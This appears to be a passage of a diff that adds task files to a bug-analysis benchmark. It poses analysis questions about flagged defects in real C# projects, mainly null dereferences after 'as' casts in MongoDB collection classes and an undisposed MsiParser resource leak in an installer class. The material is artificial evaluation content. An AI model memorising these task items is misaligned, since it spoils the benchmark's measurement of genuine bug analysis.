+
+### Procedure:
+Void HttpTransaction.OnRequestReady()
+
+### File:
+manos/src/Manos/Manos.Http/HttpTransaction.cs
+
+### Key:
+HttpTransaction.cs|OnRequestReady|DOTNET_RESOURCE_LEAK
+
+### Hash:
+5a9fa1c0b01e97b0886a56d094a73871
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1410/instruction.md b/inferredbugs-1410/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..73e0866f5cf58c1371e6d1079f12dbd59197d92b
--- /dev/null
+++ b/inferredbugs-1410/instruction.md
@@ -0,0 +1,178 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AniAPI
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Commons.Filters;
+using MongoDB.Bson;
+using MongoDB.Driver;
+using MongoService;
+using System;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Commons.Collections
+{
+    public class AnimeSongCollection : ICollection<AnimeSong>
+    {
+        protected override string CollectionName => "anime_song";
+
+        public override void Add(ref AnimeSong document)
+        {
+            base.Add(ref document);
+
+            this.Collection.InsertOne(document);
+        }
+
+        public override long Count()
+        {
+            return this.Collection.CountDocuments(Builders<AnimeSong>.Filter.Empty);
+        }
+
+        public override void Delete(long id)
+        {
+            throw new NotImplementedException();
+        }
+
+        public override void Edit(ref AnimeSong document)
+        {
+            base.Edit(ref document);
+
+            var filter = Builders<AnimeSong>.Filter.Eq("_id", document.Id);
+            this.Collection.ReplaceOne(filter, document);
+        }
+
+        public override bool Exists(ref AnimeSong document, bool updateValues = true)
+        {
+            long animeID = document.AnimeID;
+            string title = document.Title;
+            string artist = document.Artist;
+
+            AnimeSong reference = this.Collection.Find(x => x.Title == title && x.Artist == artist && x.AnimeID == animeID).FirstOrDefault();
+
+            if(reference != null)
+            {
+                if (updateValues)
+                {
+                    document.Id = reference.Id;
+                    document.CreationDate = reference.CreationDate;
+                    document.UpdateDate = reference.UpdateDate;
+                }
+
+                return true;
+            }
+
+            return false;
+        }
+
+        public override AnimeSong Get(long id)
+        {
+            return this.Collection.Find(x => x.Id == id).FirstOrDefault();
+        }
+
+        public override Paging<AnimeSong> GetList<TFilter>(IFilter<TFilter> filter)
+        {
+            AnimeSongFilter songFilter = filter as AnimeSongFilter;
+
+            var builder = Builders<AnimeSong>.Filter;
+            FilterDefinition<AnimeSong> queryFilter = builder.Empty;
+
+            if (songFilter.ids.Count > 0)
+            {
+                queryFilter &= builder.AnyIn("_id", songFilter.ids);
+            }
+
+            if (songFilter.anime_id != null)
+            {
+                queryFilter &= builder.Eq("anime_id", songFilter.anime_id);
+            }
+
+            if (!string.IsNullOrEmpty(songFilter.title))
+            {
+                queryFilter &= builder.Regex("title", new BsonRegularExpression($".*{songFilter.title}.*", "i"));
+            }
+
+            if (!string.IsNullOrEmpty(songFilter.artist))
+            {
+                queryFilter &= builder.Regex("artist", new BsonRegularExpression($".*{songFilter.artist}.*", "i"));
+            }
+
+            if(songFilter.year != null)
+            {
+                queryFilter &= builder.Eq("year", songFilter.year);
+            }
+
+            if(songFilter.season != null)
+            {
+                queryFilter &= builder.Eq("season", songFilter.season);
+            }
+
+            if(songFilter.type != null)
+            {
+                queryFilter &= builder.Eq("type", songFilter.type);
+            }
+
+            SortDefinition<AnimeSong> sort = Builders<AnimeSong>.Sort.Descending(x => x.Year).Descending(x => x.Season);
+
+            return new Paging<AnimeSong>(this.Collection, songFilter.page, queryFilter, sort, songFilter.per_page);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `songFilter` last assigned on line 71 could be null and is dereferenced at line 76, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Paging`1<!0> AnimeSongCollection.GetList(IFilter`1<!0>)
+
+### File:
+Commons/Collections/AnimeSongCollection.cs
+
+### Key:
+AnimeSongCollection.cs|GetList|NULL_DEREFERENCE
+
+### Node Key:
+277c5e4fc7793eba679254e42372b233
+
+### Hash:
+7b383f7cce6b5b74d7d0505a278476b2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1419/instruction.md b/inferredbugs-1419/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ccd8602568abcb38a2e3d55157a4db306ef4c705
--- /dev/null
+++ b/inferredbugs-1419/instruction.md
@@ -0,0 +1,167 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AniAPI
+**Bug ID:** 15
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Commons.Filters;
+using MongoDB.Driver;
+using MongoService;
+using System;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Commons.Collections
+{
+    public class UserStoryCollection : ICollection<UserStory>
+    {
+        protected override string CollectionName => "user_story";
+
+        public override void Add(ref UserStory document)
+        {
+            base.Add(ref document);
+
+            this.Collection.InsertOne(document);
+        }
+
+        public override long Count()
+        {
+            return this.Collection.CountDocuments(Builders<UserStory>.Filter.Empty);
+        }
+
+        public override void Delete(long id)
+        {
+            throw new NotImplementedException();
+        }
+
+        public override void Edit(ref UserStory document)
+        {
+            base.Edit(ref document);
+
+            var filter = Builders<UserStory>.Filter.Eq("_id", document.Id);
+            this.Collection.ReplaceOne(filter, document);
+        }
+
+        public override bool Exists(ref UserStory document, bool updateValues = true)
+        {
+            long userId = document.UserID;
+            long animeId = document.AnimeID;
+
+            UserStory reference = this.Collection.Find(x => x.UserID == userId && x.AnimeID == animeId).FirstOrDefault();
+
+            if(reference != null)
+            {
+                if (updateValues)
+                {
+                    document.Id = reference.Id;
+                    document.CreationDate = reference.CreationDate;
+                    document.UpdateDate = reference.UpdateDate;
+                    document.Synced = reference.Synced;
+                }
+
+                return true;
+            }
+
+            return false;
+        }
+
+        public override UserStory Get(long id)
+        {
+            return this.Collection.Find(x => x.Id == id).FirstOrDefault();
+        }
+
+        public override Paging<UserStory> GetList<TFilter>(IFilter<TFilter> filter)
+        {
+            UserStoryFilter userStoryFilter = filter as UserStoryFilter;
+
+            var builder = Builders<UserStory>.Filter;
+            FilterDefinition<UserStory> queryFilter = builder.Empty;
+
+            if (userStoryFilter.ids.Count > 0)
+            {
+                queryFilter &= builder.AnyIn("_id", userStoryFilter.ids);
+            }
+
+            if (userStoryFilter.user_id != null)
+            {
+                queryFilter &= builder.Eq("user_id", userStoryFilter.user_id);
+            }
+
+            if (userStoryFilter.anime_id != null)
+            {
+                queryFilter &= builder.Eq("anime_id", userStoryFilter.anime_id);
+            }
+
+            if(userStoryFilter.status != null)
+            {
+                queryFilter &= builder.Eq("status", userStoryFilter.status);
+            }
+
+            if(userStoryFilter.synced != null)
+            {
+                queryFilter &= builder.Eq("synced", userStoryFilter.synced);
+            }
+
+            SortDefinition<UserStory> sort = Builders<UserStory>.Sort.Descending(x => x.CreationDate);
+
+            return new Paging<UserStory>(this.Collection, userStoryFilter.page, queryFilter, sort, userStoryFilter.per_page);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `userStoryFilter` last assigned on line 70 could be null and is dereferenced at line 75, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Paging`1<!0> UserStoryCollection.GetList(IFilter`1<!0>)
+
+### File:
+Commons/Collections/UserStoryCollection.cs
+
+### Key:
+UserStoryCollection.cs|GetList|NULL_DEREFERENCE
+
+### Node Key:
+277c5e4fc7793eba679254e42372b233
+
+### Hash:
+3dbee0a59c1d282b1160c829d2e9af0d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1421/instruction.md b/inferredbugs-1421/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7ce0d2b3b40b964e2dbe64c9c335411df8ce2135
--- /dev/null
+++ b/inferredbugs-1421/instruction.md
@@ -0,0 +1,159 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AniAPI
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Commons.Filters;
+using MongoDB.Bson;
+using MongoDB.Driver;
+using MongoService;
+using System;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Commons.Collections
+{
+    public class UserCollection : ICollection<User>
+    {
+        protected override string CollectionName => "user";
+
+        public override void Add(ref User document)
+        {
+            base.Add(ref document);
+
+            this.Collection.InsertOne(document);
+        }
+
+        public override long Count()
+        {
+            return this.Collection.CountDocuments(Builders<User>.Filter.Empty);
+        }
+
+        public override void Delete(long id)
+        {
+            this.Collection.DeleteOne(x => x.Id == id);
+        }
+
+        public override void Edit(ref User document)
+        {
+            base.Edit(ref document);
+
+            var filter = Builders<User>.Filter.Eq("_id", document.Id);
+            this.Collection.ReplaceOne(filter, document);
+        }
+
+        public override bool Exists(ref User document, bool updateValues = true)
+        {
+            string email = document.Email;
+            User reference = null;
+
+            if (!string.IsNullOrEmpty(email))
+            {
+                reference = this.Collection.Find(x => x.Email == email).FirstOrDefault();
+            }
+            else
+            {
+                long userId = document.Id;
+                reference = this.Collection.Find(x => x.Id == userId).FirstOrDefault();
+            }
+
+            if (reference != null)
+            {
+                if (updateValues)
+                {
+                    document.Id = reference.Id;
+                    document.CreationDate = reference.CreationDate;
+                    document.UpdateDate = reference.UpdateDate;
+                }
+                return true;
+            }
+
+            return false;
+        }
+
+        public override User Get(long id)
+        {
+            return this.Collection.Find(x => x.Id == id).FirstOrDefault();
+        }
+
+        public override Paging<User> GetList<TFilter>(IFilter<TFilter> filter)
+        {
+            UserFilter userFilter = filter as UserFilter;
+
+            var builder = Builders<User>.Filter;
+            FilterDefinition<User> queryFilter = builder.Empty;
+
+            if (!string.IsNullOrEmpty(userFilter.username))
+            {
+                queryFilter = queryFilter & builder.Regex($"username", new BsonRegularExpression($".*{userFilter.username}.*", "i"));
+            }
+
+            if (!string.IsNullOrEmpty(userFilter.email))
+            {
+                queryFilter = queryFilter & builder.Regex($"email", userFilter.email);
+            }
+
+            SortDefinition<User> sort = Builders<User>.Sort.Ascending(x => x.Username);
+
+            return new Paging<User>(this.Collection, userFilter.page, queryFilter, sort, userFilter.per_page);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `userFilter` last assigned on line 77 could be null and is dereferenced at line 82, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Paging`1<!0> UserCollection.GetList(IFilter`1<!0>)
+
+### File:
+Commons/Collections/UserCollection.cs
+
+### Key:
+UserCollection.cs|GetList|NULL_DEREFERENCE
+
+### Node Key:
+93735850e46a76bf26a8e51627647824
+
+### Hash:
+31740b550149341cd0de7f2147327d14
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1426/instruction.md b/inferredbugs-1426/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8ec32a8c05780a1369d74ac300fb0590c8495d2c
--- /dev/null
+++ b/inferredbugs-1426/instruction.md
@@ -0,0 +1,161 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AniAPI
+**Bug ID:** 22
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Commons.Filters;
+using MongoDB.Bson;
+using MongoDB.Driver;
+using MongoService;
+using System;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Commons.Collections
+{
+    public class UserCollection : ICollection<User>
+    {
+        protected override string CollectionName => "user";
+
+        public override void Add(ref User document)
+        {
+            base.Add(ref document);
+
+            this.Collection.InsertOne(document);
+        }
+
+        public override long Count()
+        {
+            return this.Collection.CountDocuments(Builders<User>.Filter.Empty);
+        }
+
+        public override void Delete(long id)
+        {
+            this.Collection.DeleteOne(x => x.Id == id);
+        }
+
+        public override void Edit(ref User document)
+        {
+            base.Edit(ref document);
+
+            var filter = Builders<User>.Filter.Eq("_id", document.Id);
+            this.Collection.ReplaceOne(filter, document);
+        }
+
+        public override bool Exists(ref User document, bool updateValues = true)
+        {
+            string email = document.Email;
+            User reference = null;
+
+            if (!string.IsNullOrEmpty(email))
+            {
+                reference = this.Collection.Find(x => x.Email == email).FirstOrDefault();
+            }
+            else
+            {
+                long userId = document.Id;
+                reference = this.Collection.Find(x => x.Id == userId).FirstOrDefault();
+            }
+
+            if (reference != null)
+            {
+                if (updateValues)
+                {
+                    document.Id = reference.Id;
+                    document.CreationDate = reference.CreationDate;
+                    document.UpdateDate = reference.UpdateDate;
+                }
+                return true;
+            }
+
+            return false;
+        }
+
+        public override User Get(long id)
+        {
+            return this.Collection.Find(x => x.Id == id).FirstOrDefault();
+        }
+
+        public override Paging<User> GetList<TFilter>(IFilter<TFilter> filter)
+        {
+            UserFilter userFilter = filter as UserFilter;
+
+            var builder = Builders<User>.Filter;
+            FilterDefinition<User> queryFilter = builder.Empty;
+
+            userFilter.ApplyBaseFilter(builder, ref queryFilter);
+
+            if (!string.IsNullOrEmpty(userFilter.username))
+            {
+                queryFilter = queryFilter & builder.Regex($"username", new BsonRegularExpression($".*{userFilter.username}.*", "i"));
+            }
+
+            if (!string.IsNullOrEmpty(userFilter.email))
+            {
+                queryFilter = queryFilter & builder.Eq($"email", userFilter.email);
+            }
+
+            SortDefinition<User> sort = Builders<User>.Sort.Ascending(x => x.Username);
+
+            return new Paging<User>(this.Collection, userFilter.page, queryFilter, sort, userFilter.per_page);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `userFilter` last assigned on line 77 could be null and is dereferenced at line 82, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Paging`1<!0> UserCollection.GetList(IFilter`1<!0>)
+
+### File:
+Commons/Collections/UserCollection.cs
+
+### Key:
+UserCollection.cs|GetList|NULL_DEREFERENCE
+
+### Node Key:
+3654aaa31bf6f5c66d4263b95a3f1706
+
+### Hash:
+31740b550149341cd0de7f2147327d14
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1428/instruction.md b/inferredbugs-1428/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a65483af916f18ca17720c1fe1455e1b563d5155
--- /dev/null
+++ b/inferredbugs-1428/instruction.md
@@ -0,0 +1,354 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** wixsharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Threading;
+//using System.Threading.Tasks;
+
+namespace WixSharp.UI
+{
+    /// <summary>
+    /// Generic class that represents runtime properties of the typical MSI setup. 
+    /// It is a ViewModel class, which has 'value changed' events for all bindable properties 
+    /// automatically marshalled for the cross-thread calls.
+    /// </summary>
+    public class GenericSetup : MsiSession
+    {
+        /// <summary>
+        /// The path to the encapsulated MSI file.
+        /// </summary>
+        public string MsiFile;
+
+        /// <summary>
+        /// The path to the MSI session log file.
+        /// </summary>
+        public string LogFile;
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="GenericSetup" /> class.
+        /// </summary>
+        /// <param name="msiFile">The MSI file.</param>
+        /// <param name="enableLoging">if set to <c>true</c> [enable loging].</param>
+        public GenericSetup(string msiFile, bool enableLoging = true)
+        {
+            this.MsiFile = msiFile;
+
+            if (enableLoging)
+                EnableLog(LogFile = msiFile + ".log");
+
+            UpdateStatus();
+        }
+
+        void UpdateStatus()
+        {
+            var msi = new MsiParser(MsiFile);
+
+            IsCurrentlyInstalled = msi.IsInstalled();
+            ProductName = msi.GetProductName();
+            ProductVersion = msi.GetProductVersion();
+
+            ProductStatus = string.Format("The product is {0}INSTALLED\n\n", IsCurrentlyInstalled ? "" : "NOT ");
+        }
+
+        /// <summary>
+        /// Starts the fresh installation.
+        /// </summary>
+        /// <param name="msiParams">The MSI parameters.</param>
+        public virtual void StartInstall(string msiParams = null)
+        {
+            if (!IsCurrentlyInstalled)
+            {
+                RunAsync(() => ExecuteInstall(MsiFile, msiParams));
+
+                LogFileCreated = true;
+                IsRunning = true;
+            }
+            else
+                ErrorStatus = "Product is already installed";
+        }
+
+        /// <summary>
+        /// Starts the repair installation for the already installed product.
+        /// </summary>
+        /// <param name="msiParams">The MSI parameters.</param>
+        public virtual void StartRepair(string msiParams = null)
+        {
+            if (IsCurrentlyInstalled)
+            {
+                RunAsync(() => ExecuteInstall(MsiFile, msiParams));
+
+                LogFileCreated = true;
+                IsRunning = true;
+            }
+            else
+                ErrorStatus = "Product is not installed";
+        }
+
+        /// <summary>
+        /// Starts the uninstallation of the already installed product.
+        /// </summary>
+        /// <param name="msiParams">The MSI params.</param>
+        public virtual void StartUninstall(string msiParams = null)
+        {
+            if (IsCurrentlyInstalled)
+            {
+                RunAsync(() => ExecuteUninstall(MsiFile, msiParams));
+
+                LogFileCreated = true;
+                IsRunning = true;
+            }
+            else
+                ErrorStatus = "Product is not installed";
+        }
+
+        void RunAsync(System.Action action)
+        {
+            //Task.Factory.StartNew(() =>
+            ThreadPool.QueueUserWorkItem(x=>
+            {
+                try
+                {
+                    action();
+                    ErrorStatus = "Success";
+                    UpdateStatus();
+                }
+                catch
+                {
+                    ErrorStatus = "Failed. See log file for details.";
+                }
+                IsRunning = false;
+            });
+        }
+
+        string errorStatus;
+
+        /// <summary>
+        /// Gets or sets the error status.
+        /// </summary>
+        /// <value>
+        /// The error status.
+        /// </value>
+        public string ErrorStatus
+        {
+            get { return errorStatus; }
+            set
+            {
+                errorStatus = value;
+                OnPropertyChanged("ErrorStatus");
+            }
+        }
+
+        string productStatus;
+
+        /// <summary>
+        /// Gets or sets the product status (installed or not installed).
+        /// </summary>
+        /// <value>
+        /// The product status.
+        /// </value>
+        public string ProductStatus
+        {
+            get { return productStatus; }
+            set
+            {
+                productStatus = value;
+                OnPropertyChanged("ProductStatus");
+            }
+        }
+
+        string productVersion;
+
+        /// <summary>
+        /// Gets or sets the product version.
+        /// </summary>
+        /// <value>
+        /// The product version.
+        /// </value>
+        public string ProductVersion
+        {
+            get { return productVersion; }
+            set
+            {
+                productVersion = value;
+                OnPropertyChanged("ProductVersion");
+            }
+        }
+
+        string productName;
+
+        /// <summary>
+        /// Gets or sets the MSI ProductName.
+        /// </summary>
+        /// <value>
+        /// The name of the product.
+        /// </value>
+        public string ProductName
+        {
+            get { return productName; }
+            set
+            {
+                productName = value;
+                OnPropertyChanged("ProductName");
+            }
+        }
+
+        bool isRunning;
+
+        /// <summary>
+        /// Gets or sets a value indicating whether the setup is in progress.
+        /// </summary>
+        /// <value>
+        /// <c>true</c> if this setup is in progress; otherwise, <c>false</c>.
+        /// </value>
+        public bool IsRunning
+        {
+            get { return isRunning; }
+            set
+            {
+                isRunning = value;
+                if (isRunning)
+                    NotStarted = false;
+
+                OnPropertyChanged("IsRunning");
+                OnPropertyChanged("IsNotRunning");
+            }
+        }
+
+        bool notStarted = true;
+
+        /// <summary>
+        /// Gets or sets a value indicating whether setup was not started yet. This information
+        /// can be useful for implementing "not started" UI state in the setup GUI.  
+        /// </summary>
+        /// <value>
+        ///   <c>true</c> if setup was not started; otherwise, <c>false</c>.
+        /// </value>
+        public bool NotStarted
+        {
+            get { return notStarted; }
+            set
+            {
+                notStarted = value;
+                OnPropertyChanged("NotStarted");
+            }
+        }
+
+        bool isCurrentlyInstalled;
+
+        /// <summary>
+        /// Gets or sets a value indicating whether the product is currently installed.
+        /// </summary>
+        /// <value>
+        /// <c>true</c> if the product is currently installed; otherwise, <c>false</c>.
+        /// </value>
+        public bool IsCurrentlyInstalled
+        {
+            get { return isCurrentlyInstalled; }
+            set
+            {
+                isCurrentlyInstalled = value;
+                OnPropertyChanged("IsCurrentlyInstalled");
+                OnPropertyChanged("CanInstall");
+                OnPropertyChanged("CanUnInstall");
+                OnPropertyChanged("CanRepair");
+            }
+        }
+
+        /// <summary>
+        /// Gets a value indicating whether the product can be installed.
+        /// </summary>
+        /// <value>
+        /// <c>true</c> if the product can install; otherwise, <c>false</c>.
+        /// </value>
+        public bool CanInstall { get { return !IsCurrentlyInstalled; } }
+
+        /// <summary>
+        /// Gets a value indicating whether the product can be uninstalled.
+        /// </summary>
+        /// <value>
+        /// <c>true</c> if the product can uninstall; otherwise, <c>false</c>.
+        /// </value>
+        public bool CanUnInstall { get { return IsCurrentlyInstalled; } }
+
+        /// <summary>
+        /// Gets a value indicating whether the product can be repaired.
+        /// </summary>
+        /// <value>
+        /// <c>true</c> if the product can repaired; otherwise, <c>false</c>.
+        /// </value>
+        public bool CanRepair { get { return IsCurrentlyInstalled; } }
+
+        bool logFileCreated;
+
+        /// <summary>
+        /// Gets or sets a value indicating whether the log file created.
+        /// </summary>
+        /// <value>
+        ///   <c>true</c> if the log file created; otherwise, <c>false</c>.
+        /// </value>
+        public bool LogFileCreated
+        {
+            get { return logFileCreated; }
+            set
+            {
+                logFileCreated = value;
+                OnPropertyChanged("LogFileCreated");
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource msi of type WixSharp.UI.MsiParser in method "Void GenericSetup.UpdateStatus()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GenericSetup.UpdateStatus()
+
+### File:
+Source/src/WixSharp.Msi/WixSharp.Msi/GenericSetup.cs
+
+### Key:
+GenericSetup.cs|UpdateStatus|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b37e2fb537220af90319b1238c6a8448
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1442/instruction.md b/inferredbugs-1442/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e27f3fe2640feb548d00e5b84d8104e338c70ef1
--- /dev/null
+++ b/inferredbugs-1442/instruction.md
@@ -0,0 +1,598 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SambaPOS-3
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Reflection;
+
+using ComLib.Lang.Types;
+using ComLib.Lang.Core;
+
+
+namespace ComLib.Lang.Helpers
+{
+    /// <summary>
+    /// Helper class for datatypes.
+    /// </summary>
+    public class LangTypeHelper
+    {
+        public static LNumber ConverToLangDayOfWeekNumber(LObject obj)
+        {
+            if (obj.Type == LTypes.Date)
+            {
+                var day = (int)((LDate) obj).Value.DayOfWeek;
+                return new LNumber(day);
+            }
+            
+            if (obj.Type == LTypes.DayOfWeek)
+            {
+                var day = (int)((LDayOfWeek)obj).Value;
+                return new LNumber(day);
+            }
+            return (LNumber)obj;
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="val"></param>
+        public static LObject ConvertToLangValue(object val)
+        {
+            if (val == null) return LObjects.Null;            
+
+            var type = val.GetType();
+            
+            if (type == typeof(int))       
+                return new LNumber(Convert.ToDouble(val));
+            
+            if (type == typeof(double))
+                return new LNumber((double)val);
+            
+            if (type == typeof(string))
+                return new LString((string)val);
+
+            if (type == typeof(DateTime))
+                return new LDate((DateTime)val);
+
+            if (type == typeof(TimeSpan))
+                return new LTime((TimeSpan)val);
+
+            if (type == typeof(DayOfWeek))
+                return new LDayOfWeek((DayOfWeek) val);
+
+            if (type == typeof(bool))
+                return new LBool((bool)val);
+
+            var isGenType = type.IsGenericType;
+            if (isGenType)
+            {
+                var gentype = type.GetGenericTypeDefinition();
+                if (type == typeof(List<object>) || gentype == typeof (List<>) || gentype == typeof (IList<>))
+                    return new LArray((IList) val);
+
+                if (type == typeof (Dictionary<string, object>))
+                    return new LMap((Dictionary<string, object>) val);
+            }
+            // object
+            return LangTypeHelper.ConvertToLangClass(val);
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="val"></param>
+        public static LObject ConvertToLangValue(LType ltype, object val)
+        {
+            if (val == null) return LObjects.Null;
+
+            if (ltype == LTypes.Number)
+                return new LNumber(Convert.ToDouble(val));
+
+            if (ltype == LTypes.String)
+                return new LString(Convert.ToString(val));
+
+            if (ltype == LTypes.Date)
+                return new LDate(Convert.ToDateTime(val));
+
+            if (ltype == LTypes.Time)
+            {
+                var valText = Convert.ToString(val);
+                var result = DateTimeTypeHelper.ParseTime(valText);
+                var time = result.Item1;
+                return new LTime(time);
+            }
+            if (ltype == LTypes.Bool)
+                return new LBool(Convert.ToBoolean(val));
+
+            return LObjects.Null;
+        }
+        
+        /// <summary>
+        /// Converts a Type object from the host language to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangType(Type hostLangType)
+        {
+            if (hostLangType == typeof(bool)) return LTypes.Bool;
+            if (hostLangType == typeof(DateTime)) return LTypes.Date;
+            if (hostLangType == typeof(int)) return LTypes.Number;
+            if (hostLangType == typeof(double)) return LTypes.Number;
+            if (hostLangType == typeof(string)) return LTypes.String;
+            if (hostLangType == typeof(TimeSpan)) return LTypes.Time;
+            if (hostLangType == typeof(Nullable)) return LTypes.Null;
+            if (hostLangType == typeof(IList)) return LTypes.Array;
+            if (hostLangType == typeof(IDictionary)) return LTypes.Map;
+            
+            return LTypes.Object;
+        }
+
+
+        /// <summary>
+        /// Converts a Type object from the host language to a fluentscript type.
+        /// </summary>
+        /// <param name="langTypeName"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangTypeFromLangTypeName(string langTypeName)
+        {
+            if (langTypeName == LTypes.Bool.Name   ) return LTypes.Bool;
+            if (langTypeName == LTypes.Date.Name   ) return LTypes.Date;
+            if (langTypeName == LTypes.Time.Name   ) return LTypes.Time;
+            if (langTypeName == LTypes.Number.Name ) return LTypes.Number;
+            if (langTypeName == LTypes.String.Name ) return LTypes.String;
+            return LTypes.Object;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
